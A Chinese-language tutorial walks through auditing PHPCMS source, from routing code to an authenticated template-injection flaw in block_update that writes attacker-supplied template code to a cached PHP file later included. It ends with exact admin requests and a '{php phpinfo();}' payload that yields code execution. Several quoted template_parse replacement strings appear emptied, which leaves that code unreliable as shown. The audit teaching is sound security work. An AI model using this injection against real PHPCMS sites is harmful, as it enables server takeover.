程式碼審計實戰思路之淺析PHPCMS
*本文作者:wnltc0,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。
這是在freebuf的第二篇審計文章,不是想講漏洞分析,更多是想寫下整個審計的過程,在我最開始學程式碼審計時,拿到一套cms,卻無從下手,想從網上找找實戰案例,但找到的大都是案例分析,沒見過幾篇是把整個審計過程寫下來的。經過一番摸索,終於從小白進階到菜鳥,於是想著寫幾篇帶完整過程的程式碼審計文章,儘管這些過程在大佬們看來跟後面的漏洞關係不大、並不重要;但對於新手朋友來說,這可能是一篇把他從迷茫中拉出來的文章。
雖然我只寫了兩篇,但每篇都是我審計時的完整過程,算不是什麼深度好文,但只希望能給新手朋友一點點幫助。我只是位菜鳥,寫出讓大佬滿意的文章,我不是小說主角,做不出越級的操作,但我的文章興許能對新人朋友有幫助呢?畢竟我也是剛從新手過來的,我知道那時候的我想要什麼,但找不到;如果後來人也這麼想,也像當初的我那樣想,那這兩篇就沒白寫~
通讀全文
跟進 index.php
define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR); include PHPCMS_PATH.'/phpcms/base.php'; pc_base::creat_app();
將 phpcms/base.php
包含進來,然後呼叫 pc_base::creat_app
函式,跟進 phpcms/base.php
define('IN_PHPCMS', true); //PHPCMS框架路徑 define('PC_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR); if(!defined('PHPCMS_PATH')) define('PHPCMS_PATH', PC_PATH.'..'.DIRECTORY_SEPARATOR); //快取資料夾地址 define('CACHE_PATH', PHPCMS_PATH.'caches'.DIRECTORY_SEPARATOR); //主機協議 define('SITE_PROTOCOL', isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443' ? 'https://' : 'http://'); //當前訪問的主機名 define('SITE_URL', (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '')); //來源 define('HTTP_REFERER', isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''); //系統開始時間 define('SYS_START_TIME', microtime()); //載入公用函式庫 pc_base::load_sys_func('global'); pc_base::load_sys_func('extention'); pc_base::auto_load_func(); pc_base::load_config('system','errorlog') ? set_error_handler('my_error_handler') : error_reporting(E_ERROR | E_WARNING | E_PARSE); //設定本地時差 function_exists('date_default_timezone_set') && date_default_timezone_set(pc_base::load_config('system','timezone')); define('CHARSET' ,pc_base::load_config('system','charset')); //輸出頁面字符集 header('Content-type: text/html; charset='.CHARSET); define('SYS_TIME', time()); //定義網站根路徑 define('WEB_PATH',pc_base::load_config('system','web_path')); //js 路徑 define('JS_PATH',pc_base::load_config('system','js_path')); //css 路徑 define('CSS_PATH',pc_base::load_config('system','css_path')); //img 路徑 define('IMG_PATH',pc_base::load_config('system','img_path')); //動態程式路徑 define('APP_PATH',pc_base::load_config('system','app_path')); //應用靜態檔案路徑 define('PLUGIN_STATICS_PATH',WEB_PATH.'statics/plugin/'); ......
9-60
行,定義常量,載入通用函式庫
繼續跟進 pc_base::creat_app
方法, phpcms/base.php
67行
/** * 初始化應用程式 */ public static function creat_app() { return self::load_sys_class('application'); }
這裡介紹幾個比較常用的方法,都在pc_base類中
load_sys_class
//載入系統類
load_app_class
//載入應用類
load_model
//載入資料模型 load_config
//載入配置檔案
/** * 載入系統類方法 * @param string $classname 類名 * @param string $path 擴充套件地址 * @param intger $initialize 是否初始化 */ public static function load_sys_class($classname, $path = '', $initialize = 1) { return self::_load_class($classname, $path, $initialize); }
/** * 載入應用類方法 * @param string $classname 類名 * @param string $m 模組 * @param intger $initialize 是否初始化 */ public static function load_app_class($classname, $m = '', $initialize = 1) { $m = empty($m) && defined('ROUTE_M') ? ROUTE_M : $m; if (empty($m)) return false; return self::_load_class($classname, 'modules'.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.'classes', $initialize); }
/** * 載入資料模型 * @param string $classname 類名 */ public static function load_model($classname) { return self::_load_class($classname,'model'); }
對比三個方法發現,相同的是核心都是呼叫 _load_class
方法,跟進 _load_class
方法
/** * 載入類檔案函式 * @param string $classname 類名 * @param string $path 擴充套件地址 * @param intger $initialize 是否初始化 */ private static function _load_class($classname, $path = '', $initialize = 1) { static $classes = array(); if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'classes'; $key = md5($path.$classname); if (isset($classes[$key])) { if (!empty($classes[$key])) { return $classes[$key]; } else { return true; } } if (file_exists(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) { include PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php'; $name = $classname; if ($my_path = self::my_path(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) { include $my_path; $name = 'MY_'.$classname; } if ($initialize) { $classes[$key] = new $name; } else { $classes[$key] = true; } return $classes[$key]; } else { return false; } }
跟讀完 _load_class
方法,可知:
當呼叫 load_sys_class
時,到 phpcms/libs/classes
目錄下找 xx.class.php
當呼叫 load_app_class
時,到 phpcms/modules/模組名/classes/
目錄下找 xx.class.php
當呼叫 load_model
時,到 phpcms/model
目錄下找 xx.class.php
如果 $initialize=1
時,包含類檔案並例項化類,反之,僅包含類檔案
還有個 load_config
方法,用於載入配置檔案,繼續跟進 260行
/** * 載入配置檔案 * @param string $file 配置檔案 * @param string $key要獲取的配置薦 * @param string $default預設配置。當獲取配置專案失敗時該值發生作用。 * @param boolean $reload 強制重新載入。 */ public static function load_config($file, $key = '', $default = '', $reload = false) { static $configs = array(); if (!$reload && isset($configs[$file])) { if (empty($key)) { return $configs[$file]; } elseif (isset($configs[$file][$key])) { return $configs[$file][$key]; } else { return $default; } } $path = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.$file.'.php'; if (file_exists($path)) { $configs[$file] = include $path; } if (empty($key)) { return $configs[$file]; } elseif (isset($configs[$file][$key])) { return $configs[$file][$key]; } else { return $default; } }
呼叫 load_config
時,到 caches/configs/
目錄下找 xx.php
如果 $key
不為空時,返回具體配置變數的值,反之,返回整個配置檔案中的配置資訊
瞭解了幾個常見的方法後,繼續回到 pc_base::creat_app
方法
/** * 初始化應用程式 */ public static function creat_app() { return self::load_sys_class('application'); }
該處只有一句程式碼,例項化 application
類,由於前面已經瞭解過這幾個常見的方法,所以這裡能輕易的就找到 application
類的檔案,跟進 phpcms/libs/classes/application.class.php
class application { /** * 建構函式 */ public function __construct() { $param = pc_base::load_sys_class('param'); define('ROUTE_M', $param->route_m()); define('ROUTE_C', $param->route_c()); define('ROUTE_A', $param->route_a()); $this->init(); } ......
在 application
類的構造方法中例項化了 param
類,並定義了幾個常量,根據常量名,猜測應該是跟路由相關,跟進 phpcms/libs/classes/param.class.php
class param { //路由配置 private $route_config = ''; public function __construct() { if(!get_magic_quotes_gpc()) { $_POST = new_addslashes($_POST); $_GET = new_addslashes($_GET); $_REQUEST = new_addslashes($_REQUEST); $_COOKIE = new_addslashes($_COOKIE); } $this->route_config = pc_base::load_config('route', SITE_URL) ? pc_base::load_config('route', SITE_URL) : pc_base::load_config('route', 'default'); if(isset($this->route_config['data']['POST']) && is_array($this->route_config['data']['POST'])) { foreach($this->route_config['data']['POST'] as $_key => $_value) { if(!isset($_POST[$_key])) $_POST[$_key] = $_value; } } if(isset($this->route_config['data']['GET']) && is_array($this->route_config['data']['GET'])) { foreach($this->route_config['data']['GET'] as $_key => $_value) { if(!isset($_GET[$_key])) $_GET[$_key] = $_value; } } if(isset($_GET['page'])) { $_GET['page'] = max(intval($_GET['page']),1); $_GET['page'] = min($_GET['page'],1000000000); } return true; } ......
將 post
、 get
等外部傳入的變數交給 new_addslashes
函式處理, new_addslashes
函式的核心就是 addslashes
除了轉義外部傳入的變數,還有就是載入 route
配置,在 caches/configs/route.php
,如下
return array( 'default'=>array('m'=>'content', 'c'=>'index', 'a'=>'init'), );
繼續往下,
/** * 獲取模型 */ public function route_m() { $m = isset($_GET['m']) && !empty($_GET['m']) ? $_GET['m'] : (isset($_POST['m']) && !empty($_POST['m']) ? $_POST['m'] : ''); $m = $this->safe_deal($m); if (empty($m)) { return $this->route_config['m']; } else { if(is_string($m)) return $m; } } /** * 獲取控制器 */ public function route_c() { $c = isset($_GET['c']) && !empty($_GET['c']) ? $_GET['c'] : (isset($_POST['c']) && !empty($_POST['c']) ? $_POST['c'] : ''); $c = $this->safe_deal($c); if (empty($c)) { return $this->route_config['c']; } else { if(is_string($c)) return $c; } } /** * 獲取事件 */ public function route_a() { $a = isset($_GET['a']) && !empty($_GET['a']) ? $_GET['a'] : (isset($_POST['a']) && !empty($_POST['a']) ? $_POST['a'] : ''); $a = $this->safe_deal($a); if (empty($a)) { return $this->route_config['a']; } else { if(is_string($a)) return $a; } } ....... /** * 安全處理函式 * 處理m,a,c */ private function safe_deal($str) { return str_replace(array('/', '.'), '', $str); }
回到 application
類的構造方法
/** * 建構函式 */ public function __construct() { $param = pc_base::load_sys_class('param'); define('ROUTE_M', $param->route_m()); define('ROUTE_C', $param->route_c()); define('ROUTE_A', $param->route_a()); $this->init(); }
幾個常量的值也知道是什麼了,繼續跟進 $this->init
方法 25行
/** * 呼叫件事 */ private function init() { $controller = $this->load_controller(); if (method_exists($controller, ROUTE_A)) { if (preg_match('/^[_]/i', ROUTE_A)) { exit('You are visiting the action is to protect the private action'); } else { call_user_func(array($controller, ROUTE_A)); } } else { exit('Action does not exist.'); } }
跟進 $this->load_controller
44行
/** * 載入控制器 * @param string $filename * @param string $m * @return obj */ private function load_controller($filename = '', $m = '') { if (empty($filename)) $filename = ROUTE_C; if (empty($m)) $m = ROUTE_M; $filepath = PC_PATH.'modules'.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.$filename.'.php'; if (file_exists($filepath)) { $classname = $filename; include $filepath; if ($mypath = pc_base::my_path($filepath)) { $classname = 'MY_'.$filename; include $mypath; } if(class_exists($classname)){ return new $classname; }else{ exit('Controller does not exist.'); } } else { exit('Controller does not exist.'); } }
包含控制器類檔案,例項化控制器並返回,具體檔案路徑: modules/模組名/控制器名.php
(預設載入 modules/content/index.php
)
$this->init
方法呼叫 $this->load_controller
方法來載入和例項化控制器類,然後呼叫具體的方法
跟讀完 index.php
,瞭解到
核心類庫在 phpcms/libs/classes/
模型類庫在 phpcms/model/
應用目錄 phpcms/modules/
配置目錄 caches/configs/
全域性變數被轉義, $_SERVER
除外
模組名、控制器名、方法名中的 /
、 .
會被過濾
方法名不允許以 _
開頭
瞭解了整體結構後,再來思考下審計的方式方法:
方案一:先對核心類庫進行審計,如果找到漏洞,那麼在網站中可能會存在多處相同的漏洞,就算找不到漏洞,那對核心類庫中的方法也多少了解,後面對具體應用功能審計時也會輕鬆一些
方案二:直接審計功能點,優點:針對性更強;缺點:某個功能點可能呼叫了多個核心類庫中的方法,由於對核心類庫不瞭解,跟讀時可能會比較累,需要跟的東西可能會比較多
//無論哪種方案,沒耐心是不行滴;如果你審計時正好心煩躁的很,那你可以在安裝好應用後,隨便點點,開著bp,抓抓改改,發現覺得可能存在問題的點再跟程式碼,這種方式(有點偏黑盒)能發現一些比較明顯的問題,想深入挖掘,建議參考前面兩種方案
漏洞分析
漏洞存在於 phpcms/modules/block/block_admin.php
的 block_update
方法 120行
public function block_update() { $id = isset($_GET['id']) && intval($_GET['id']) ? intval($_GET['id']) :showmessage(L('illegal_operation'), HTTP_REFERER); //進行許可權判斷 if ($this->roleid != 1) { if (!$this->priv_db->get_one(array('blockid'=>$id, 'roleid'=>$this->roleid, 'siteid'=>$this->siteid))) { showmessage(L('not_have_permissions')); } } if (!$data = $this->db->get_one(array('id'=>$id))) { showmessage(L('nofound')); } if (isset($_POST['dosubmit'])) { $sql = array(); if ($data['type'] == 2) { $title = isset($_POST['title']) ? $_POST['title'] : ''; $url = isset($_POST['url']) ? $_POST['url'] : ''; $thumb = isset($_POST['thumb']) ? $_POST['thumb'] : ''; $desc = isset($_POST['desc']) ? $_POST['desc'] : ''; $template = isset($_POST['template']) && trim($_POST['template']) ? trim($_POST['template']) : ''; $datas = array(); foreach ($title as $key=>$v) { if (empty($v) || !isset($url[$key]) ||empty($url[$key])) continue; $datas[$key] = array('title'=>$v, 'url'=>$url[$key], 'thumb'=>$thumb[$key], 'desc'=>str_replace(array(chr(13), chr(43)), array('', ' '), $desc[$key])); } if ($template) { $block = pc_base::load_app_class('block_tag'); $block->template_url($id, $template); //程式碼太長,把關鍵點放出來就好 ....... ....... }
在 block_admin
方法中,先是通過 id
來判斷許可權 (這裡可以新建一條記錄來獲取 id
)
然後就是對 post
傳入的資料進行處理,關鍵點在 $block->template_url
方法,跟進 phpcms/modules/classes/block_tag.class.php
46行
/** * 生成模板返回路徑 * @param integer $id 碎片ID號 * @param string $template 風格 */ public function template_url($id, $template = '') { $filepath = CACHE_PATH.'caches_template'.DIRECTORY_SEPARATOR.'block'.DIRECTORY_SEPARATOR.$id.'.php'; $dir = dirname($filepath); if ($template) { if(!is_dir($dir)) { mkdir($dir, 0777, true); } $tpl = pc_base::load_sys_class('template_cache'); $str = $tpl->template_parse(new_stripslashes($template)); @file_put_contents($filepath, $str); } else { if (!file_exists($filepath)) { if(!is_dir($dir)) { mkdir($dir, 0777, true); } $tpl = pc_base::load_sys_class('template_cache'); $str = $this->db->get_one(array('id'=>$id), 'template'); $str = $tpl->template_parse($str['template']); @file_put_contents($filepath, $str); } } return $filepath; }
在 $block->template_url
方法中,呼叫了 $tpl->template_parse
方法對 $template
變數進行處理,然後寫入檔案,最後返回檔案路徑
跟進 $tpl->template_parse
方法, phpcms/libs/classes/template_cache.class.php
69行
/** * 解析模板 * * @param $str模板內容 * @return ture */ public function template_parse($str) { $str = preg_replace ( "/\{template\s+(.+)\}/", "", $str ); $str = preg_replace ( "/\{include\s+(.+)\}/", "", $str ); $str = preg_replace ( "/\{php\s+(.+)\}/", "", $str ); $str = preg_replace ( "/\{if\s+(.+?)\}/", "", $str ); $str = preg_replace ( "/\{else\}/", "", $str ); $str = preg_replace ( "/\{elseif\s+(.+?)\}/", "", $str ); $str = preg_replace ( "/\{\/if\}/", "", $str ); //for 迴圈 $str = preg_replace("/\{for\s+(.+?)\}/","",$str); $str = preg_replace("/\{\/for\}/","",$str); //++ -- $str = preg_replace("/\{\+\+(.+?)\}/","",$str); $str = preg_replace("/\{\-\-(.+?)\}/","",$str); $str = preg_replace("/\{(.+?)\+\+\}/","",$str); $str = preg_replace("/\{(.+?)\-\-\}/","",$str); $str = preg_replace ( "/\{loop\s+(\S+)\s+(\S+)\}/", "", $str ); $str = preg_replace ( "/\{loop\s+(\S+)\s+(\S+)\s+(\S+)\}/", " \\3) { ?>", $str ); $str = preg_replace ( "/\{\/loop\}/", "", $str ); $str = preg_replace ( "/\{([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/", "", $str ); $str = preg_replace ( "/\{\\$([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/", "", $str ); $str = preg_replace ( "/\{(\\$[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\}/", "", $str ); $str = preg_replace_callback("/\{(\\$[a-zA-Z0-9_\[\]\'\"\$\x7f-\xff]+)\}/s",array($this, 'addquote'),$str); $str = preg_replace ( "/\{([A-Z_\x7f-\xff][A-Z0-9_\x7f-\xff]*)\}/s", "", $str ); $str = preg_replace_callback("/\{pc:(\w+)\s+([^}]+)\}/i", array($this, 'pc_tag_callback'), $str); $str = preg_replace_callback("/\{\/pc\}/i", array($this, 'end_pc_tag'), $str); $str = "" . $str; return $str; }
$tpl->template_parse
方法主要負責模板解析,但並沒看到有什麼限制,
回到 $block->template_url
方法
public function template_url($id, $template = '') { $filepath = CACHE_PATH.'caches_template'.DIRECTORY_SEPARATOR.'block'.DIRECTORY_SEPARATOR.$id.'.php'; $dir = dirname($filepath); if ($template) { if(!is_dir($dir)) { mkdir($dir, 0777, true); } $tpl = pc_base::load_sys_class('template_cache'); $str = $tpl->template_parse(new_stripslashes($template)); @file_put_contents($filepath, $str); ...... }
$template
變數由 post
傳入,可控;但 $filepath
不能直接訪問,因為在 $tpl->template_parse
處理時在 $template
前面拼接了一段 <?php defined('IN_PHPCMS') or exit('No permission resources.'); ?>
,所以,想要利用還需要找到一處包含點
在 block_tag
類中處理 template_url
方法還有一個 pc_tag
/** * PC標籤中呼叫資料 * @param array $data 配置資料 */ public function pc_tag($data) { $siteid = isset($data['siteid']) && intval($data['siteid']) ? intval($data['siteid']) : get_siteid(); $r = $this->db->select(array('pos'=>$data['pos'], 'siteid'=>$siteid)); $str = ''; if (!empty($r) && is_array($r)) foreach ($r as $v) { if (defined('IN_ADMIN') && !defined('HTML')) $str .= ''; if ($v['type'] == '2') { extract($v, EXTR_OVERWRITE); $data = string2array($data); if (!defined('HTML')){ ob_start(); include $this->template_url($id); $str .= ob_get_contents(); ob_clean(); } else { include $this->template_url($id); } } else { $str .= $v['data']; } if (defined('IN_ADMIN')&& !defined('HTML')) $str .= ''; } return $str; }
注意那句 include $this->template_url($id);
,妥妥的包含點啊
接下來再找找哪裡呼叫了該方法就好了
全域性搜尋 ->pc_tag(
發現在 caches/cache_template/default/link/register.php
檔案中呼叫了該方法,但這個檔案也不能直接訪問,看路徑感覺像快取檔案,嘗試跟進到 link
模組的 register
方法
/** *申請友情連結 */ public function register() { ......... include template('link', 'register'); } }
可算找到了, template('link', 'register')
返回的結果就是 caches/cache_template/default/link/register.php
漏洞復現
復現條件:
登入後臺
呼叫 block_update
需要傳入 id
,所以先插入一條資料來獲取 id
,構造資料包如下
URL: http://192.168.0.1/phpcms/index.php?m=block&c=block_admin&a=add&pos=1&pc_hash=gh43rD POST:dosubmit=&name=bb&type=2
插入成功如下圖:
點選跳轉,可跳轉到 block_update
方法(包含 id
)
構造資料包如下:
URL:http://192.168.0.1/phpcms/index.php?m=block&c=block_admin&a=block_update&id=4&pc_hash=gh43rD&pc_hash=gh43rD POST:dosubmit=&name=bb&type=2&url=&thumb=&desc=&template={php phpinfo();}
訪問shell: